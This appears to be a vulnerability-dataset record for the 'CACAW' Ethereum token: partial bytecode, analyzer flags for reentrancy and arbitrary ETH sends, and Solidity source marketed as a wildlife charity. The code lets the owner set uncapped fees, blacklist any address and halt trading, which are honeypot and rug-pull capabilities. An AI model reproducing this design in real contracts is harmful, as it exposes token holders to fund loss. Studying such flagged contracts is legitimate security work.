565b82101561182b57505060065492678ac7230489e8000092509050565b90939092509050565b600081836118555760405162461bcd60e51b81526004016106409190611bf2565b5060006113fb8486611f3d565b600080600080600080600080600061187f8a600c54600d546119ce565b925092509250600061188f61166a565b905060008060006118a28e878787611a23565b919e509c509a509598509396509194505050505091939550919395565b60006114bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ca565b60008061190e8385611e9d565b9050838110156114bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610640565b600061196a61166a565b905060006119788383611a73565b306000908152600260205260409020549091506119959082611901565b30600090815260026020526040902055505050565b6006546119b790836118bf565b6006556007546119c79082611901565b6007555050565b60008080806119e860646119e28989611a73565b9061168d565b905060006119fb60646119e28a89611a73565b90506000611a1382611a0d8b866118bf565b906118bf565b9992985090965090945050505050565b6000808080611a328886611a73565b90506000611a408887611a73565b90506000611a4e8888611a73565b90506000611a6082611a0d86866118bf565b939b939a50919850919650505050505050565b600082611a82575060006106c6565b6000611a8e8385611f5f565b905082611a9b8583611f3d565b146114bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610640565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fd5b8035611b2881611b08565b919050565b60006020808385031215611b4057600080fd5b823567ffffffffffffffff80821115611b5857600080fd5b818501915085601f830112611b6c57600080fd5b813581811115611b7e57611b7e611af2565b8060051b604051601f19603f83011681018181108582111715611ba357611ba3611af2565b604052918252848201925083810185019188831115611bc157600080fd5b938501935b82851015611be657611bd785611b1d565b84529385019392850192611bc6565b98975050505050505050565b600060208083528351808285015260005b81811015611c1f57858101830151858201604001528201611c03565b81811115611c31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c5a57600080fd5b8235611c6581611b08565b946020939093013593505050565b600080600060608486031215611c8857600080fd5b8335611c9381611b08565b92506020840135611ca381611b08565b929592945050506040919091013590565b600060208284031215611cc657600080fd5b81356114bb81611b08565b80358015158114611b2857600080fd5b600060208284031215611cf357600080fd5b6114bb82611cd1565b600060208284031215611d0e57600080fd5b5035919050565b60008060008060808587031215611d2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d5c57600080fd5b833567ffffffffffffffff80821115611d7457600080fd5b818601915086601f830112611d8857600080fd5b813581811115611d9757600080fd5b8760208260051b8501011115611dac57600080fd5b602092830195509350611dc29186019050611cd1565b90509250925092565b60008060408385031215611dde57600080fd5b8235611de981611b08565b91506020830135611df981611b08565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e7957611e79611e4f565b5060010190565b600060208284031215611e9257600080fd5b81516114bb81611b08565b60008219821115611eb057611eb0611e4f565b500190565b600082821015611ec757611ec7611e4f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f1c5784516001600160a01b031683529383019391830191600101611ef7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f7957611f79611e4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122065a42750ac3995cf102d7efb18b7c915f033a1fcbf537d6a8d4b6370e014ca9964736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,496 |
0xf761defe8fc0cd70322fb92fe1e072157c3b294d
|
/*
CACAW - A CHARITY TOKEN HELPING PROTECT WILDLIFE! 📈
Cacaw was created by a team of animal lovers to help protect wildlife, more specifically to help protect the natural habitats of our avian friends.
🖥 Website: http://www.cacawtoken.com
📲 TG: https://t.me/cacawPortal
🐦 Twitter: https://twitter.com/cacawToken
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CACAW is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cacaw";
string private constant _symbol = "CACAW";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0; //
uint256 private _taxFeeOnBuy = 0; // 0% buy tax
//Sell Fee
uint256 private _redisFeeOnSell = 0; //
uint256 private _taxFeeOnSell = 5; //5% sell tax
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xc159bC5Eae92dd671F37C4a0B4A6baA1d938277d);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xc159bC5Eae92dd671F37C4a0B4A6baA1d938277d);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000000 * 10**9; // 1.5%
uint256 public _maxWalletSize = 30000000000 * 10**9; // 3%
uint256 public _swapTokensAtAmount = 15000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051a578063dd62ed3e1461053a578063ea1644d514610580578063f2fde38b146105a057600080fd5b8063a2a957bb14610495578063a9059cbb146104b5578063bfd79284146104d5578063c3c8cd801461050557600080fd5b80638f70ccf7116100d15780638f70ccf7146104115780638f9a55c01461043157806395d89b411461044757806398a5c3151461047557600080fd5b806374010ece146103bd5780637d1db4a5146103dd5780638da5cb5b146103f357600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103535780636fc3eaec1461037357806370a0823114610388578063715018a6146103a857600080fd5b8063313ce567146102f757806349bd5a5e146103135780636b9990531461033357600080fd5b80631694505e116101a05780631694505e1461026357806318160ddd1461029b57806323b872dd146102c15780632fd689e3146102e157600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023357600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae8565b6105c0565b005b3480156101ff57600080fd5b50604080518082019091526005815264436163617760d81b60208201525b60405161022a9190611c12565b60405180910390f35b34801561023f57600080fd5b5061025361024e366004611a3e565b61066d565b604051901515815260200161022a565b34801561026f57600080fd5b50601454610283906001600160a01b031681565b6040516001600160a01b03909116815260200161022a565b3480156102a757600080fd5b50683635c9adc5dea000005b60405190815260200161022a565b3480156102cd57600080fd5b506102536102dc3660046119fe565b610684565b3480156102ed57600080fd5b506102b360185481565b34801561030357600080fd5b506040516009815260200161022a565b34801561031f57600080fd5b50601554610283906001600160a01b031681565b34801561033f57600080fd5b506101f161034e36600461198e565b6106ed565b34801561035f57600080fd5b506101f161036e366004611baf565b610738565b34801561037f57600080fd5b506101f1610780565b34801561039457600080fd5b506102b36103a336600461198e565b6107cb565b3480156103b457600080fd5b506101f16107ed565b3480156103c957600080fd5b506101f16103d8366004611bc9565b610861565b3480156103e957600080fd5b506102b360165481565b3480156103ff57600080fd5b506000546001600160a01b0316610283565b34801561041d57600080fd5b506101f161042c366004611baf565b610890565b34801561043d57600080fd5b506102b360175481565b34801561045357600080fd5b50604080518082019091526005815264434143415760d81b602082015261021d565b34801561048157600080fd5b506101f1610490366004611bc9565b6108d8565b3480156104a157600080fd5b506101f16104b0366004611be1565b610907565b3480156104c157600080fd5b506102536104d0366004611a3e565b610945565b3480156104e157600080fd5b506102536104f036600461198e565b60106020526000908152604090205460ff1681565b34801561051157600080fd5b506101f1610952565b34801561052657600080fd5b506101f1610535366004611a69565b6109a6565b34801561054657600080fd5b506102b36105553660046119c6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058c57600080fd5b506101f161059b366004611bc9565b610a55565b3480156105ac57600080fd5b506101f16105bb36600461198e565b610a84565b6000546001600160a01b031633146105f35760405162461bcd60e51b81526004016105ea90611c65565b60405180910390fd5b60005b81518110156106695760016010600084848151811061062557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066181611d78565b9150506105f6565b5050565b600061067a338484610b6e565b5060015b92915050565b6000610691848484610c92565b6106e384336106de85604051806060016040528060288152602001611dd5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ce565b610b6e565b5060019392505050565b6000546001600160a01b031633146107175760405162461bcd60e51b81526004016105ea90611c65565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107625760405162461bcd60e51b81526004016105ea90611c65565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b557506013546001600160a01b0316336001600160a01b0316145b6107be57600080fd5b476107c881611208565b50565b6001600160a01b03811660009081526002602052604081205461067e9061128d565b6000546001600160a01b031633146108175760405162461bcd60e51b81526004016105ea90611c65565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088b5760405162461bcd60e51b81526004016105ea90611c65565b601655565b6000546001600160a01b031633146108ba5760405162461bcd60e51b81526004016105ea90611c65565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016105ea90611c65565b601855565b6000546001600160a01b031633146109315760405162461bcd60e51b81526004016105ea90611c65565b600893909355600a91909155600955600b55565b600061067a338484610c92565b6012546001600160a01b0316336001600160a01b0316148061098757506013546001600160a01b0316336001600160a01b0316145b61099057600080fd5b600061099b306107cb565b90506107c881611311565b6000546001600160a01b031633146109d05760405162461bcd60e51b81526004016105ea90611c65565b60005b82811015610a4f578160056000868685818110610a0057634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a15919061198e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4781611d78565b9150506109d3565b50505050565b6000546001600160a01b03163314610a7f5760405162461bcd60e51b81526004016105ea90611c65565b601755565b6000546001600160a01b03163314610aae5760405162461bcd60e51b81526004016105ea90611c65565b6001600160a01b038116610b135760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ea565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ea565b6001600160a01b038216610c315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ea565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ea565b6001600160a01b038216610d585760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ea565b60008111610dba5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ea565b6000546001600160a01b03848116911614801590610de657506000546001600160a01b03838116911614155b156110c757601554600160a01b900460ff16610e7f576000546001600160a01b03848116911614610e7f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ea565b601654811115610ed15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ea565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1357506001600160a01b03821660009081526010602052604090205460ff16155b610f6b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ea565b6015546001600160a01b03838116911614610ff05760175481610f8d846107cb565b610f979190611d0a565b10610ff05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ea565b6000610ffb306107cb565b6018546016549192508210159082106110145760165491505b80801561102b5750601554600160a81b900460ff16155b801561104557506015546001600160a01b03868116911614155b801561105a5750601554600160b01b900460ff165b801561107f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110a457506001600160a01b03841660009081526005602052604090205460ff16155b156110c4576110b282611311565b4780156110c2576110c247611208565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110957506001600160a01b03831660009081526005602052604090205460ff165b8061113b57506015546001600160a01b0385811691161480159061113b57506015546001600160a01b03848116911614155b15611148575060006111c2565b6015546001600160a01b03858116911614801561117357506014546001600160a01b03848116911614155b1561118557600854600c55600954600d555b6015546001600160a01b0384811691161480156111b057506014546001600160a01b03858116911614155b156111c257600a54600c55600b54600d555b610a4f848484846114b6565b600081848411156111f25760405162461bcd60e51b81526004016105ea9190611c12565b5060006111ff8486611d61565b95945050505050565b6012546001600160a01b03166108fc6112228360026114e4565b6040518115909202916000818181858888f1935050505015801561124a573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112658360026114e4565b6040518115909202916000818181858888f19350505050158015610669573d6000803e3d6000fd5b60006006548211156112f45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ea565b60006112fe611526565b905061130a83826114e4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bb57600080fd5b505afa1580156113cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f391906119aa565b8160018151811061141457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143a9130911684610b6e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611473908590600090869030904290600401611c9a565b600060405180830381600087803b15801561148d57600080fd5b505af11580156114a1573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c3576114c3611549565b6114ce848484611577565b80610a4f57610a4f600e54600c55600f54600d55565b600061130a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166e565b600080600061153361169c565b909250905061154282826114e4565b9250505090565b600c541580156115595750600d54155b1561156057565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611589876116de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bb908761173b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ea908661177d565b6001600160a01b03891660009081526002602052604090205561160c816117dc565b6116168483611826565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165b91815260200190565b60405180910390a3505050505050505050565b6000818361168f5760405162461bcd60e51b81526004016105ea9190611c12565b5060006111ff8486611d22565b6006546000908190683635c9adc5dea000006116b882826114e4565b8210156116d557505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006116fb8a600c54600d5461184a565b925092509250600061170b611526565b9050600080600061171e8e87878761189f565b919e509c509a509598509396509194505050505091939550919395565b600061130a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ce565b60008061178a8385611d0a565b90508381101561130a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ea565b60006117e6611526565b905060006117f483836118ef565b30600090815260026020526040902054909150611811908261177d565b30600090815260026020526040902055505050565b600654611833908361173b565b600655600754611843908261177d565b6007555050565b6000808080611864606461185e89896118ef565b906114e4565b90506000611877606461185e8a896118ef565b9050600061188f826118898b8661173b565b9061173b565b9992985090965090945050505050565b60008080806118ae88866118ef565b905060006118bc88876118ef565b905060006118ca88886118ef565b905060006118dc82611889868661173b565b939b939a50919850919650505050505050565b6000826118fe5750600061067e565b600061190a8385611d42565b9050826119178583611d22565b1461130a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ea565b803561197981611dbf565b919050565b8035801515811461197957600080fd5b60006020828403121561199f578081fd5b813561130a81611dbf565b6000602082840312156119bb578081fd5b815161130a81611dbf565b600080604083850312156119d8578081fd5b82356119e381611dbf565b915060208301356119f381611dbf565b809150509250929050565b600080600060608486031215611a12578081fd5b8335611a1d81611dbf565b92506020840135611a2d81611dbf565b929592945050506040919091013590565b60008060408385031215611a50578182fd5b8235611a5b81611dbf565b946020939093013593505050565b600080600060408486031215611a7d578283fd5b833567ffffffffffffffff80821115611a94578485fd5b818601915086601f830112611aa7578485fd5b813581811115611ab5578586fd5b8760208260051b8501011115611ac9578586fd5b602092830195509350611adf918601905061197e565b90509250925092565b60006020808385031215611afa578182fd5b823567ffffffffffffffff80821115611b11578384fd5b818501915085601f830112611b24578384fd5b813581811115611b3657611b36611da9565b8060051b604051601f19603f83011681018181108582111715611b5b57611b5b611da9565b604052828152858101935084860182860187018a1015611b79578788fd5b8795505b83861015611ba257611b8e8161196e565b855260019590950194938601938601611b7d565b5098975050505050505050565b600060208284031215611bc0578081fd5b61130a8261197e565b600060208284031215611bda578081fd5b5035919050565b60008060008060808587031215611bf6578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3e57858101830151858201604001528201611c22565b81811115611c4f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce95784516001600160a01b031683529383019391830191600101611cc4565b50506001600160a01b0396909616606085015250505